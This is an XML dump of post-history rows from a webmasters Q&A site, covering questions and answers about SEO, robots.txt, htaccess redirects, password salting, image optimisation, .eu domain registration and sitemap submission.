  <row Id="6524" PostHistoryTypeId="16" PostId="3270" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-27T16:31:17.623" UserId="55" />
  <row Id="6525" PostHistoryTypeId="5" PostId="3295" RevisionGUID="b5f8882b-93e2-400f-b683-5857b20e1755" CreationDate="2010-09-27T16:36:26.820" UserId="55" Comment="Edited to the best of my ability and understanding of the question. OP: Feel free to revert my edits or change them." Text="I found many sites serving Google ads that contain pornography and possible copyright infringements.&#xD;&#xA;&#xD;&#xA;How did these sites obtain a Google AdSense ID and why does Google permit this?" />
  <row Id="6531" PostHistoryTypeId="5" PostId="3311" RevisionGUID="eb4af194-7509-40cb-9d05-074fc7396e6d" CreationDate="2010-09-27T18:01:34.853" UserId="1857" Comment="added 155 characters in body" Text="**I wrote an answer, then read a little more, and substatially edited my answer.** &#xD;&#xA;This question has already been debated on Stack Overflow. The [accepted answer on this question][1] is a good starting point, follow the links.&#xD;&#xA;&#xD;&#xA;My take is that:&#xD;&#xA;&#xD;&#xA;**The static salt (which you call global) is important because:**&#xD;&#xA;&#xD;&#xA; - It is simple to implement, and doesn't require a database lookup at runtime, i.e. it's easy to scale.&#xD;&#xA; - This salt is static, and can be stored as a global constant in the the application code, or read from an INI file. This way getting access to the database (SQL injection attack for example) does not necessarily reveal this salt.&#xD;&#xA;&#xD;&#xA;**The per-password salt is useful because:**&#xD;&#xA;&#xD;&#xA; - It is a random string, unique for each password, generated on the server side, and stored in plain text in the database. For N passwords, this effectively makes the total search space for a [rainbow table][2] attach N x N. This cannot be effectively attacked by pre-computed rainbow tables today due to the sheer size of the dataset.&#xD;&#xA;&#xD;&#xA;Another useful tip that I learned from the Stack Overflow discussions is encrypting the *username* if possible. I hadn't actually thought of that, but it does of course make good sense in certain scenarios.&#xD;&#xA;&#xD;&#xA;**EDIT:** Please do read the excellent article [&quot;Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes&quot;][3] -- most of what is said about password hashing is wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1054022/best-way-to-store-password-in-database&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Rainbow_table&#xD;&#xA;  [3]: http://www.securityfocus.com/blogs/262" />
  <row Id="6532" PostHistoryTypeId="5" PostId="3311" RevisionGUID="5dc90434-8458-4121-a495-5e5231298a9f" CreationDate="2010-09-27T19:06:43.550" UserId="1857" Comment="added 33 characters in body" Text="**I wrote an answer, then read a little more, and substatially edited my answer.** &#xD;&#xA;This question has already been debated on Stack Overflow. The [accepted answer on this question][1] is a good starting point, follow the links.&#xD;&#xA;&#xD;&#xA;My take is that:&#xD;&#xA;&#xD;&#xA;**The static salt (which you call global) is important because:**&#xD;&#xA;&#xD;&#xA; - It is simple to implement, and doesn't require a database lookup at runtime, i.e. it's easy to scale.&#xD;&#xA; - This salt is static, and can be stored as a global constant in the the application code, or read from an INI file. This way getting access to the database (SQL injection attack for example) does not necessarily reveal this salt.&#xD;&#xA;&#xD;&#xA;**The per-password salt is useful because:**&#xD;&#xA;&#xD;&#xA; - It is a random string, unique for each password, generated on the server side, and stored in plain text in the database. For N passwords, this effectively makes the total search space for a [rainbow table][2] attach N x N. This cannot be effectively attacked by pre-computed rainbow tables today due to the sheer size of the dataset.&#xD;&#xA;&#xD;&#xA;Another useful tip that I learned from the Stack Overflow discussions is encrypting the *username* if possible. I hadn't actually thought of that, but it does of course make good sense in certain scenarios.&#xD;&#xA;&#xD;&#xA;**EDIT: Please do read the excellent article [&quot;Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes&quot;][3] -- most of what is said about password hashing is wrong, including things I thought true.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1054022/best-way-to-store-password-in-database&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Rainbow_table&#xD;&#xA;  [3]: http://www.securityfocus.com/blogs/262" />
  <row Id="6533" PostHistoryTypeId="2" PostId="3330" RevisionGUID="a4169bd2-9848-4de7-a7f8-aa4ee4f02322" CreationDate="2010-09-27T20:13:48.080" UserId="2011" Text="Work is being done to make the Antispam and Comment Notify modules play nice together. See these issues on drupal.org: [Antispam &quot;gets&quot; the spam too late][1] and [Integrate with the AntiSpam module (presently emailing spam comments to users)][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/node/598772&#xD;&#xA;  [2]: http://drupal.org/node/209641" />
  <row Id="6534" PostHistoryTypeId="2" PostId="3331" RevisionGUID="2e662943-e30b-481c-a94b-4d93b9f36bcd" CreationDate="2010-09-27T22:10:00.993" UserDisplayName="Wislow" Text="Using a redirect statement in my htaccess file, people who type the following into the address bar...&#xD;&#xA;&#xD;&#xA;    http://example.com/index.php&#xD;&#xA;&#xD;&#xA;...are redirected to...&#xD;&#xA;&#xD;&#xA;    http://example.com/&#xD;&#xA;&#xD;&#xA;I also have a noindex, nofollow meta tag on all my website's pages.&#xD;&#xA;&#xD;&#xA;My question is, given that redirect behavior and meta data, will googlebot index my mainpage (i.e. index.php) if my robots.txt file is as follows...&#xD;&#xA;&#xD;&#xA;    User-agent: Googlebot&#xD;&#xA;    Allow: /index.php&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;If not, how should I change my robots.txt so that only my mainpage will be indexed in google and nothing more?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="6535" PostHistoryTypeId="1" PostId="3331" RevisionGUID="2e662943-e30b-481c-a94b-4d93b9f36bcd" CreationDate="2010-09-27T22:10:00.993" UserDisplayName="Wislow" Text="Will googlebot index my index.php even with an htaccess redirect?" />
  <row Id="6536" PostHistoryTypeId="3" PostId="3331" RevisionGUID="2e662943-e30b-481c-a94b-4d93b9f36bcd" CreationDate="2010-09-27T22:10:00.993" UserDisplayName="Wislow" Text="&lt;seo&gt;&lt;htaccess&gt;" />
  <row Id="6537" PostHistoryTypeId="2" PostId="3332" RevisionGUID="dabb859b-8e32-4fcd-a564-b9f3df7fc645" CreationDate="2010-09-27T23:05:02.003" UserId="1253" Text="If you redirect to &quot;/&quot; but only allow &quot;/index.php&quot; to be indexed then nothing will be indexed. To you &quot;/&quot; and &quot;/index.php&quot; are the same page. But to the search engines they are two separate URLs. By blocking &quot;/&quot;, which is the only page users will apparently see, you are blocking your whole website.&#xD;&#xA;&#xD;&#xA;If you want to have finer control over what is indexed use the meta tags mentioned above and/or use the x-robots-tag HTTP header to control indexing. Specifically use `X-Robots-Tag: noindex` on all of your pages *except* for the index.php. Then there is no need to use the robots.txt file. I read somewhere the HHTP header is more effective and the prefered way to block pages from being indexed but I am unable to find that article at the moment." />
  <row Id="6538" PostHistoryTypeId="2" PostId="3333" RevisionGUID="789797e7-a73a-445d-87ba-4a2f1d930ebf" CreationDate="2010-09-28T04:02:11.390" UserId="1905" Text="I wonder if its good or bad to put links to your own site when u design a theme eg. in Tumblr? I noticed this when i saw many links to my site from people's tumblr using my templates. &#xD;&#xA;&#xD;&#xA;Maybe i should use nofollow on those links? " />
  <row Id="6539" PostHistoryTypeId="1" PostId="3333" RevisionGUID="789797e7-a73a-445d-87ba-4a2f1d930ebf" CreationDate="2010-09-28T04:02:11.390" UserId="1905" Text="Placing links to own site in templates?" />
  <row Id="6540" PostHistoryTypeId="3" PostId="3333" RevisionGUID="789797e7-a73a-445d-87ba-4a2f1d930ebf" CreationDate="2010-09-28T04:02:11.390" UserId="1905" Text="&lt;seo&gt;" />
  <row Id="6541" PostHistoryTypeId="2" PostId="3334" RevisionGUID="27e275b6-e307-42f6-a5d1-8e467506f0fe" CreationDate="2010-09-28T05:23:24.300" UserId="480" Text="The possible drawbacks can be immense. If a dodgy site links to you (even by the design footer) then it can result in trouble for your domain. Adding nofollow doesn't really solve this.&#xD;&#xA;&#xD;&#xA;If a third party site hosts your template (there are several &quot;theme&quot; sites) you can add a direct link to a hosted version of your template on that site (direct link within your template) and let the theme site link to your site.&#xD;&#xA;&#xD;&#xA;In terms of user experience, instead of just having your template they'll now have a choice (not a captive market as some may hope for, but better from the users perspective). Search engines will not penalise you for scam pages adopting your template and you still get link juice (albeit somewhat diluted)." />
  <row Id="6542" PostHistoryTypeId="2" PostId="3335" RevisionGUID="3f39c7ca-84d9-4969-ba7e-f1c37f98741b" CreationDate="2010-09-28T06:36:42.343" UserId="472" Text="For Mac OS X, I love [ImageOptim][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://imageoptim.pornel.net/ &quot;ImageOptim&quot;" />
  <row Id="6543" PostHistoryTypeId="16" PostId="3335" RevisionGUID="3f39c7ca-84d9-4969-ba7e-f1c37f98741b" CreationDate="2010-09-28T06:36:42.343" UserId="-1" />
  <row Id="6544" PostHistoryTypeId="2" PostId="3336" RevisionGUID="98f9b8f6-bf2c-454c-af7c-fecec01f8d34" CreationDate="2010-09-28T07:43:34.397" UserId="480" Text="If you want to trigger a redraw you could always use:&#xD;&#xA;&#xD;&#xA;    body { display: none }&#xD;&#xA;&#xD;&#xA;then&#xD;&#xA;&#xD;&#xA;    window.onload = function () {&#xD;&#xA;        document.getElementsByTagName('body')[0].display = 'block';&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;this will make the page load seem much longer.&#xD;&#xA;&#xD;&#xA;The best advice I've read on controlling the load/redraw across browsers has been [Steve Souders Even Faster Web Sites][1].&#xD;&#xA;&#xD;&#xA;**Note:**&#xD;&#xA;&#xD;&#xA;Remember you can always put the relevant sections on a [JSFiddle][2] so that others can help (images can be uploaded to [ImageShack][3] and included by using the provided &quot;Direct Link&quot;).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stevesouders.com/blog/2009/04/23/even-faster-web-sites/&#xD;&#xA;  [2]: http://jsfiddle.net/&#xD;&#xA;  [3]: http://imageshack.us/" />
  <row Id="6545" PostHistoryTypeId="2" PostId="3337" RevisionGUID="766cb641-9ac0-4a50-a698-fc48fc9f06be" CreationDate="2010-09-28T08:26:29.180" UserId="2097" Text="I have a website that is currently hosted in Japan and has been for a number of years. Its well established in the search engines in both Yahoo Japan and Google Japan.&#xD;&#xA;&#xD;&#xA;For numerous reasons its become necessary to move our site to a new host, and our systems administrator has asked me if its ok to use a none Japanese Host in a country close by, preferably the US.(Not exactly close but closer than some).&#xD;&#xA;&#xD;&#xA; I am trying to find out if moving the site away from its homeland will have a significant effect on its search engine rankings in Japan. I've heard from somwhere that it will negatively effect the site, but I was hoping someone could provide some evidence, or ideally a case study for this?&#xD;&#xA;&#xD;&#xA;Its a tall order, but maybe someone can help out there?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="6546" PostHistoryTypeId="1" PostId="3337" RevisionGUID="766cb641-9ac0-4a50-a698-fc48fc9f06be" CreationDate="2010-09-28T08:26:29.180" UserId="2097" Text="Japanese Hosting And Search Engine Rankings" />
  <row Id="6547" PostHistoryTypeId="3" PostId="3337" RevisionGUID="766cb641-9ac0-4a50-a698-fc48fc9f06be" CreationDate="2010-09-28T08:26:29.180" UserId="2097" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;serps&gt;" />
  <row Id="6548" PostHistoryTypeId="2" PostId="3338" RevisionGUID="9edcc053-f01b-4ebb-a872-29abf35c6012" CreationDate="2010-09-28T08:28:01.597" UserId="2096" Text="Of course, including keywords in the product page title/description and associated feed.  But what else?&#xD;&#xA;&#xD;&#xA;Would be interested to hear your thoughts on:  &#xD;&#xA;- PageRank of destination page  &#xD;&#xA;- how product pricing affects placement  &#xD;&#xA;- how age of page affects placement  &#xD;&#xA;- images  &#xD;&#xA;" />
  <row Id="6549" PostHistoryTypeId="1" PostId="3338" RevisionGUID="9edcc053-f01b-4ebb-a872-29abf35c6012" CreationDate="2010-09-28T08:28:01.597" UserId="2096" Text="Google Shopping: beyond the basics, how can I optimize for high placement?" />
  <row Id="6550" PostHistoryTypeId="3" PostId="3338" RevisionGUID="9edcc053-f01b-4ebb-a872-29abf35c6012" CreationDate="2010-09-28T08:28:01.597" UserId="2096" Text="&lt;seo&gt;&lt;optimization&gt;&lt;ecommerce&gt;&lt;shopping&gt;" />
  <row Id="6551" PostHistoryTypeId="16" PostId="3338" RevisionGUID="9edcc053-f01b-4ebb-a872-29abf35c6012" CreationDate="2010-09-28T08:29:41.543" UserId="2096" />
  <row Id="6552" PostHistoryTypeId="2" PostId="3339" RevisionGUID="cb0542a9-ea60-49cf-a596-749b3b258257" CreationDate="2010-09-28T09:58:50.690" UserId="70" Text="You are aware already that this is not intended according to the regulations outlined in *Article 4* of the respective [EC regulation 733/2002][1]:&#xD;&#xA;&#xD;&#xA;&gt; 2. The Registry shall:  &#xD;&#xA;[...]  &#xD;&#xA;(b) register domain names in the .eu TLD through any accredited&#xD;&#xA;.eu Registrar requested by any:  &#xD;&#xA;(i) undertaking having its registered office, central administration&#xD;&#xA;or principal place of business within the Community, or  &#xD;&#xA;(ii) organisation established within the Community&#xD;&#xA;without prejudice to the application of national law, or  &#xD;&#xA;(iii) natural person resident within the Community  &#xD;&#xA;&#xD;&#xA;I'm not aware of any official/legal way to achieve what you desire, neither of any 'gray hat' option to circumvent this restriction (though the latter will likely been possible somehow as usual ...).&#xD;&#xA;&#xD;&#xA;So I'm afraid that depending on you concrete needs your will need to either establish an official undertaking within the Community or at least contract with an affiliate who is resident in the EU (i.e. someone who is not just performing the registration *on behalf of you*, rather is a real business partner and willing to take legal responsibility regarding the domain ownership as such!).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eurid.eu/files/733_2002_EN_1.pdf" />
  <row Id="6553" PostHistoryTypeId="2" PostId="3340" RevisionGUID="6d3e7f36-85b2-4eb0-aaf7-3bc76832d0d4" CreationDate="2010-09-28T10:42:27.247" UserDisplayName="how" Text="It's risky. To be sure that Google does index your homepage make this:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Allow: /index.php&#xD;&#xA;    Disallow: /a&#xD;&#xA;    Disallow: /b&#xD;&#xA;    ...&#xD;&#xA;    Disallow: /z&#xD;&#xA;    Disallow: /0&#xD;&#xA;    ...&#xD;&#xA;    Disallow: /9&#xD;&#xA;&#xD;&#xA;So your root &quot;/&quot; will not match disallow rules.&#xD;&#xA;&#xD;&#xA;Also if you have AdSense don't forget to add&#xD;&#xA;&#xD;&#xA;    User-agent: Mediapartners-Google&#xD;&#xA;    Allow: /" />
  <row Id="6554" PostHistoryTypeId="2" PostId="3341" RevisionGUID="615ebbe7-0a58-448e-ad3c-bf7b8a38b621" CreationDate="2010-09-28T11:24:45.840" UserId="2097" Text="Theres also the issue of anchor text. If your template has a link back to your site with the text 'Swedish Massage Reviews', you're going to have a lot of incoming links with identical anchor text, which *on its own* can look unnatural." />
  <row Id="6555" PostHistoryTypeId="2" PostId="3342" RevisionGUID="fbbd165c-c35e-4d14-a6d5-3fcb5ad68a6d" CreationDate="2010-09-28T11:34:13.323" UserId="2097" Text="+1 for smush.it, if you use the firefox addon Yslow [http://developer.yahoo.com/yslow/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow/&#xD;&#xA;&#xD;&#xA;it has smush.it built in as part of its optimization arsenal. It offers further file savings in addition to photoshops 'save for web' feature." />
  <row Id="6556" PostHistoryTypeId="16" PostId="3342" RevisionGUID="fbbd165c-c35e-4d14-a6d5-3fcb5ad68a6d" CreationDate="2010-09-28T11:34:13.323" UserId="-1" />
  <row Id="6557" PostHistoryTypeId="2" PostId="3343" RevisionGUID="955d9950-018a-4621-ba93-3fc09425d2ba" CreationDate="2010-09-28T12:27:30.300" UserId="233" Text="In Bing's Webmaster Tools, there is a Submit URLs page that allows you to &quot;Submit URLs that are currently not in the Bing index or that should be reindexed due to recent changes.&quot;&#xD;&#xA;&#xD;&#xA;Does anyone know how long it takes Bing to index pages submitted here? I submitted several pages yesterday; Some are listed in Bing (they have been live for a week so may have already been indexed) but most are not.&#xD;&#xA;&#xD;&#xA;I'm not expecting miracles since it's only been ~30 hours; however, I assume they will be indexed through this tool faster than they would be naturally." />
  <row Id="6558" PostHistoryTypeId="1" PostId="3343" RevisionGUID="955d9950-018a-4621-ba93-3fc09425d2ba" CreationDate="2010-09-28T12:27:30.300" UserId="233" Text="How quickly does Bing index URLs submitted through Webmaster Tools?" />
  <row Id="6559" PostHistoryTypeId="3" PostId="3343" RevisionGUID="955d9950-018a-4621-ba93-3fc09425d2ba" CreationDate="2010-09-28T12:27:30.300" UserId="233" Text="&lt;seo&gt;&lt;indexing&gt;&lt;bing-webmaster-tools&gt;" />
  <row Id="6560" PostHistoryTypeId="2" PostId="3344" RevisionGUID="786818e3-e670-4991-8b0e-6129e6e9eb5d" CreationDate="2010-09-28T13:08:28.983" UserId="1253" Text="According to [this Google blog post][1] the TLD is more important then the country the site is hosted in. That post covers working with regional websites in good detail and should be a good point in the right direction. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="6561" PostHistoryTypeId="2" PostId="3345" RevisionGUID="8139a2b5-c560-460d-912b-5e26485c9428" CreationDate="2010-09-28T13:12:25.583" UserId="1253" Text="&gt; PageRank of destination page&#xD;&#xA;&#xD;&#xA;Probably no more or no less then regular search results. I wouldn't go chasing PR for this or any other reason. There are much better ways to improve a page's rankings.&#xD;&#xA;&#xD;&#xA;&gt; how product pricing affects placement&#xD;&#xA;&#xD;&#xA;This only comes into play when a user chooses to sort results by price&#xD;&#xA;&#xD;&#xA;&gt; how age of page affects placement&#xD;&#xA;&#xD;&#xA;Irrelevant. Age of a page has absolutely nothing to do with the relevance of a product for search results. If it did new products wouldn't be found for who knows how long and thus the latest cool gadgets wouldn't be reflected accurately in the SERPs.&#xD;&#xA;&#xD;&#xA;&gt; Images&#xD;&#xA;&#xD;&#xA;This is more useful to the user then to the search results. If the product image confirms to the user that you have what they are looking for they are more likely to click on your link." />
  <row Id="6562" PostHistoryTypeId="16" PostId="3345" RevisionGUID="8139a2b5-c560-460d-912b-5e26485c9428" CreationDate="2010-09-28T13:12:25.583" UserId="-1" />
  <row Id="6563" PostHistoryTypeId="2" PostId="3346" RevisionGUID="67dc78df-eb98-446f-a1a7-595aa3db90e2" CreationDate="2010-09-28T13:13:19.473" UserId="1894" Text="Considering the needs of screen readers, browser spell-checking, search engines, etc. how should non-human-language text be marked up in HTML?&#xD;&#xA;&#xD;&#xA;Should it be wrapped in a particular tag?  &#xD;&#xA;Is there a standard special `lang` attribute for the enclosing tag (eg. `&quot;&quot;`)?&#xD;&#xA;&#xD;&#xA;Note that we may wish to mark up a form input as accepting some sort of non-human-language text.&#xD;&#xA;&#xD;&#xA;Examples of non-human-language text:&#xD;&#xA;&#xD;&#xA;-   a short cryptographic hash&#xD;&#xA;-   a large block of encrypted data &#xD;&#xA;-   proprietary formal notation&#xD;&#xA;-   ASCII art&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6564" PostHistoryTypeId="1" PostId="3346" RevisionGUID="67dc78df-eb98-446f-a1a7-595aa3db90e2" CreationDate="2010-09-28T13:13:19.473" UserId="1894" Text="How to markup non-human-language text in HTML?" />
  <row Id="6565" PostHistoryTypeId="3" PostId="3346" RevisionGUID="67dc78df-eb98-446f-a1a7-595aa3db90e2" CreationDate="2010-09-28T13:13:19.473" UserId="1894" Text="&lt;seo&gt;&lt;accessibility&gt;&lt;markup&gt;" />
  <row Id="6566" PostHistoryTypeId="2" PostId="3347" RevisionGUID="ce669189-c950-4106-b1ba-33ede97841d6" CreationDate="2010-09-28T13:16:10.310" UserId="1265" Text="I like to use the &amp;lt;code&amp;gt; tag for anything code-like, hash-ish (pun), or data blocks. I use the &amp;lt;pre&amp;gt; tag for displaying direct ascii output (such as screen grabs from mainframes or art)." />
  <row Id="6567" PostHistoryTypeId="2" PostId="3348" RevisionGUID="2d1887e1-6469-4f6c-b913-cfe93a9f4cf0" CreationDate="2010-09-28T14:32:07.017" UserId="1074" Text="There's no 100% correct answer and I don't think someone from Microsoft could even give you an exact timeframe.  Depending on factors such as inbound links, domain aging, code validity, server setup, etc it could be anywhere from a day to over a month.  Remember, it's not just that they can find you, but also that the crawler has available process time to crawl your site.&#xD;&#xA;&#xD;&#xA;In my experience, if I've got the domain parked with some &quot;shell&quot; content and roll the new site over, it's generally picked up in 3-4 days.  I have had a site languish nearly a month without getting picked up for whatever reason.  But in that case I registered a fresh domain immediately before launch, paid little attention to linking, and had a site with some undoubtedly obscure content that I doubt more than a few people were searching for at first....but the work paid the bills, so I guess I couldn't complain.  Ironically, that same site now gets ridiculous traffic thanks to some very positive non-web PR.  Go figure.&#xD;&#xA;&#xD;&#xA;Good luck, be patient.  It sounds like you've taken steps to make this process go well, so I'm sure you'll see your site on Bing soon." />
  <row Id="6568" PostHistoryTypeId="5" PostId="3345" RevisionGUID="1f62daeb-a7d0-454b-81b2-8f6e11ccf065" CreationDate="2010-09-28T14:42:24.663" UserId="1253" Comment="added 10 characters in body" Text="&gt; PageRank of destination page&#xD;&#xA;&#xD;&#xA;Probably no more or no less then regular search results. I wouldn't go chasing PR for this or any other reason. There are much better ways to improve a page's/product's rankings.&#xD;&#xA;&#xD;&#xA;&gt; how product pricing affects placement&#xD;&#xA;&#xD;&#xA;This only comes into play when a user chooses to sort results by price&#xD;&#xA;&#xD;&#xA;&gt; how age of page affects placement&#xD;&#xA;&#xD;&#xA;Irrelevant. Age of a page has absolutely nothing to do with the relevance of a product for search results. If it did new products wouldn't be found for who knows how long and thus the latest cool gadgets wouldn't be reflected accurately in the SERPs.&#xD;&#xA;&#xD;&#xA;&gt; Images&#xD;&#xA;&#xD;&#xA;This is more useful to the user then to the search results. If the product image confirms to the user that you have what they are looking for they are more likely to click on your link." />
  <row Id="6569" PostHistoryTypeId="5" PostId="3339" RevisionGUID="70adb620-c0e8-4132-82ca-b9c01810baf0" CreationDate="2010-09-28T15:54:29.950" UserId="70" Comment="Fixed typos." Text="You are aware already that this is not intended according to the regulations outlined in *Article 4* of the respective [EC regulation 733/2002][1]:&#xD;&#xA;&#xD;&#xA;&gt; 2. The Registry shall:  &#xD;&#xA;[...]  &#xD;&#xA;(b) register domain names in the .eu TLD through any accredited&#xD;&#xA;.eu Registrar requested by any:  &#xD;&#xA;(i) undertaking having its registered office, central administration&#xD;&#xA;or principal place of business within the Community, or  &#xD;&#xA;(ii) organisation established within the Community&#xD;&#xA;without prejudice to the application of national law, or  &#xD;&#xA;(iii) natural person resident within the Community  &#xD;&#xA;&#xD;&#xA;I'm not aware of any official/legal way to achieve what you desire, neither of any 'grey hat' option to circumvent this restriction (though the latter will likely be possible somehow as usual ...).&#xD;&#xA;&#xD;&#xA;So I'm afraid that depending on you concrete needs your will need to either establish an official undertaking within the Community or at least contract with an affiliate who is resident in the EU (i.e. someone who is not just performing the registration *on behalf of you*, rather is a real business partner and willing to take legal responsibility regarding the domain ownership as such!).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eurid.eu/files/733_2002_EN_1.pdf" />
  <row Id="6570" PostHistoryTypeId="2" PostId="3349" RevisionGUID="65306ad1-a1d8-4f15-ac5a-1cde1cb6c525" CreationDate="2010-09-28T16:07:15.467" UserId="1265" Text="Go grey hat with [Network Solutions][1]. They provide proxy EU registrations through their affiliate corporation: [http://www.networksolutions.com/support/registering-eu-domain-names-2/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.networksolutions.com/&#xD;&#xA;  [2]: http://www.networksolutions.com/support/registering-eu-domain-names-2/" />
  <row Id="6575" PostHistoryTypeId="2" PostId="3351" RevisionGUID="09ea38cb-2259-4c1c-865a-f696f136a871" CreationDate="2010-09-28T16:53:36.177" UserId="1074" Text="I've been asked to build a &quot;landing page&quot; for a local branch of an international corporation.  While the corporation has a well-established domain name, the local office wants to use a unique, separate url that will be easy for them to relay to clients.  However, the corporation is considered a category leader, so the local office is also concerned about the importance to carrying over the company's brand to the URL.&#xD;&#xA;&#xD;&#xA;Questions that have arisen:&#xD;&#xA;&#xD;&#xA; 1. From an SEO perspective, is there a benefit to including the brand name&#xD;&#xA;    in the URL?  &#xD;&#xA; 2. Would it be more beneficial to buy a domain that relates generically to the INDUSTRY as opposed to the specific brand name?&#xD;&#xA; 3. Would the benefits of an easy-to-remember, short domain outweigh any SEO benefits that might be gained by a longer, brand-specific domain?&#xD;&#xA;" />
  <row Id="6576" PostHistoryTypeId="1" PostId="3351" RevisionGUID="09ea38cb-2259-4c1c-865a-f696f136a871" CreationDate="2010-09-28T16:53:36.177" UserId="1074" Text="When choosing a domain does including your brand affect SEO performance?" />
  <row Id="6577" PostHistoryTypeId="3" PostId="3351" RevisionGUID="09ea38cb-2259-4c1c-865a-f696f136a871" CreationDate="2010-09-28T16:53:36.177" UserId="1074" Text="&lt;seo&gt;&lt;domains&gt;&lt;url&gt;&lt;branding&gt;" />
  <row Id="6578" PostHistoryTypeId="2" PostId="3352" RevisionGUID="bb63f2d1-1e2b-4bd8-8f7c-e14d325a3556" CreationDate="2010-09-28T17:38:02.383" UserId="745" Text="This is more a business strategy decision than an SEO decision.&#xD;&#xA;&#xD;&#xA; - Will the local office leverage the&#xD;&#xA;   brand as a major part of the&#xD;&#xA;   marketing?&#xD;&#xA; - Is the industry closely associated&#xD;&#xA;   with the brand, i.e. Kleenex?&#xD;&#xA; - Does the local office want or need to&#xD;&#xA;   differentiate itself from the parent&#xD;&#xA;   brand?&#xD;&#xA; - Will the local office compete with&#xD;&#xA;   the parent brand in any way?&#xD;&#xA; - Does the local office have any other objective business reasons for having a separate URL other than making it easy to share?&#xD;&#xA;&#xD;&#xA;Answering some of those questions should help bring more clarity to the issue. From what you've written in your question, though, this is a case where I would seriously consider using a subdomain, http://local.example.com.&#xD;&#xA;" />
  <row Id="6579" PostHistoryTypeId="5" PostId="3339" RevisionGUID="993e0aa3-cc73-4304-9f74-b5473543326b" CreationDate="2010-09-28T17:38:49.443" UserId="70" Comment="Updated question regarding Joel Ethertons answer." Text="You are aware already that this is not intended according to the regulations outlined in *Article 4* of the respective [EC regulation 733/2002][1]:&#xD;&#xA;&#xD;&#xA;&gt; 2. The Registry shall:  &#xD;&#xA;[...]  &#xD;&#xA;(b) register domain names in the .eu TLD through any accredited&#xD;&#xA;.eu Registrar requested by any:  &#xD;&#xA;(i) undertaking having its registered office, central administration&#xD;&#xA;or principal place of business within the Community, or  &#xD;&#xA;(ii) organisation established within the Community&#xD;&#xA;without prejudice to the application of national law, or  &#xD;&#xA;(iii) natural person resident within the Community  &#xD;&#xA;&#xD;&#xA;I'm not aware of any official/legal way to achieve what you desire, neither of any 'grey hat' option to circumvent this restriction (though the latter &lt;strike&gt;will likely be possible somehow as usual&lt;/strike&gt; seems indeed possible as per [Joel Ethertons answer][2] - make sure to read my comment as well though ...).&#xD;&#xA;&#xD;&#xA;So I'm afraid that depending on you concrete needs your will need to either establish an official undertaking within the Community or at least contract with an affiliate who is resident in the EU (i.e. someone who is not just performing the registration *on behalf of you*, rather is a real business partner and willing to take legal responsibility regarding the domain ownership as such!).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eurid.eu/files/733_2002_EN_1.pdf&#xD;&#xA;  [2]: #3349" />
  <row Id="6580" PostHistoryTypeId="5" PostId="3338" RevisionGUID="b4473a57-32e7-4c1e-8028-b0cc9df14d46" CreationDate="2010-09-28T17:58:20.537" UserId="2096" Comment="added 138 characters in body" Text="Of course, including keywords in the product page title/description and associated feed.  But what else?&#xD;&#xA;&#xD;&#xA;Would be interested to hear your thoughts on:  &#xD;&#xA;- PageRank of destination page  &#xD;&#xA;- how product pricing affects placement  &#xD;&#xA;- how age of page affects placement  &#xD;&#xA;- images  &#xD;&#xA;&#xD;&#xA;EDIT: meant to say - the above are just some things that I'm wondering about, but any other general non-obvious tips also appreciated!&#xD;&#xA;" />
  <row Id="6581" PostHistoryTypeId="2" PostId="3353" RevisionGUID="13219a8e-2b44-43d8-8911-0a4a55ebe3a4" CreationDate="2010-09-28T18:09:12.353" UserId="812" Text="Also remember that it's not necessarily an 'either/or' decision. You could register both domains, build the site on the longer one with the better SEO value and redirect the shorter human-friendly domain to it. " />
  <row Id="6582" PostHistoryTypeId="2" PostId="3354" RevisionGUID="ee32c8a6-a42b-4f98-8cd2-7cc3ccb511df" CreationDate="2010-09-28T18:22:49.457" UserId="2102" Text="How often should one submit a site map to Google for a site similar to this?" />
  <row Id="6583" PostHistoryTypeId="1" PostId="3354" RevisionGUID="ee32c8a6-a42b-4f98-8cd2-7cc3ccb511df" CreationDate="2010-09-28T18:22:49.457" UserId="2102" Text="How often should one submit a site map to Google for a site similar to this?" />
  <row Id="6584" PostHistoryTypeId="3" PostId="3354" RevisionGUID="ee32c8a6-a42b-4f98-8cd2-7cc3ccb511df" CreationDate="2010-09-28T18:22:49.457" UserId="2102" Text="&lt;seo&gt;" />
  <row Id="6585" PostHistoryTypeId="2" PostId="3355" RevisionGUID="06af9d65-72a8-4154-acfb-983fe7fd1c70" CreationDate="2010-09-28T18:48:28.093" UserId="108" Text="You really only need to submit it when your site first goes live.  After that you should try to keep your site map as up to date as possible so that any time Google crawls your site they will have the latest update to your site.  Remember that Google looks for the sitemap.xml file before it looks for general files and pages in your site." />
